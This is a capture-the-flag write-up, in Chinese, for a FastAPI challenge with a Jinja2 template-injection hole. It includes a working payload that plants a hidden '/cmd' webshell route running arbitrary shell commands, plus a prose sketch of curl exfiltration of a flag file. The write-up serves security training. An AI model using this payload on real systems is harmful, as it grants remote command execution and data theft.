[巅峰极客 2024]GoldenHornKing

在网站根目录下获取到源码。

import os
import jinja2
import functools
import uvicorn
from fastapi import FastAPI
from fastapi.templating import Jinja2Templates
from anyio import fail_after

# jinja2==3.1.2
# uvicorn==0.30.5
# fastapi==0.112.0

def timeout_after(timeout: int = 1):
    def decorator(func):
        @functools.wraps(func)
        async def wrapper(*args, **kwargs):
            with fail_after(timeout):
                return await func(*args, **kwargs)
        return wrapper
    return decorator

app = FastAPI()
access = False

_base_path = os.path.dirname(os.path.abspath(__file__))
t = Jinja2Templates(directory=_base_path)

@app.get("/")
@timeout_after(1)
async def index():
    return open(__file__, 'r').read()

@app.get("/calc")
@timeout_after(1)
async def ssti(calc_req: str):
    global access
    if (any(char.isdigit() for char in calc_req)) or ("%" in calc_req) or not calc_req.isascii() or access:
        return "bad char"
    else:
        result = jinja2.Environment(loader=jinja2.BaseLoader()).from_string(f"{{{{ {calc_req} }}}}").render(
            {"app": app})
        access = True
        return result  # 返回计算结果
    return "fight"

if __name__ == "__main__":
    uvicorn.run(app, host="127.0.0.1", port=8000)

分析/calc路由的ssti函数,在calc_req参数中不能出现数字、“%”、非ASCII码字符,且calc_req只能提交成功一次,说明只有一次尝试机会。在提交后会通过jinja2模版解析,存在模版注入漏洞,但在尝试后发现没有回显,要么使用带外攻击利用(由于域名未实名限制没有继续尝试,但应该可行,因为http默认80端口,不需要输入数字,使用curl HTTP请求接收域名xxx?a=`cat /flag`,带出flag信息)或者添加有回显的新路由(python内存马)。

@app.get("/calc")
@timeout_after(1)
async def ssti(calc_req: str):
    global access
    if (any(char.isdigit() for char in calc_req)) or ("%" in calc_req) or not calc_req.isascii() or access:
        return "bad char"
    else:
        result = jinja2.Environment(loader=jinja2.BaseLoader()).from_string(f"{{{{ {calc_req} }}}}").render(
            {"app": app})
        access = True
        return result  # 返回计算结果
    return "fight"

 尝试制作python内存马,在FastAPI中添加路由的方法有两种,一种是add_route(),在查看参数时发现没有response,第二种add_api_route(),发现存在参数中存在response,故选择add_api_route()方法,通过lambda匿名函数返回期望的值,通过匿名函数参数实现控制执行的命令,这样不需要多次开启靶场环境。

add_api_route(path='/cmd',endpoint=lambda cmd :__import__('os').popen(cmd).read())

 在确定了内存马结构后,需要拿到当前main函数,main是模块里面的,先获取moudle,moudles从sys获取,所以可以通过以下结构为当前服务添加python内存马

__import__('sys').modules['__main__'].app.add_api_route(path='/cmd',endpoint=lambda cmd :__import__('os').popen(cmd).read())

在添加内存马前,需要获取到eval或者exec,也就是获取到__globals__['__builtins__']['eval'],获取__globals__的方法很多,这里使用源码中引入的sleep,构造好的payload如下:

sleep.__init__.__globals__["__builtins__"]["eval"]("__import__('sys').modules['__main__'].app.add_api_route(path='/cmd',endpoint=lambda cmd :__import__('os').popen(cmd).read())")

将payload传入calc_req后,回显fight说明成功注入python内存马,访问新路由/cmd,输入参数cmd=cat /flag,成功拿到flag。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值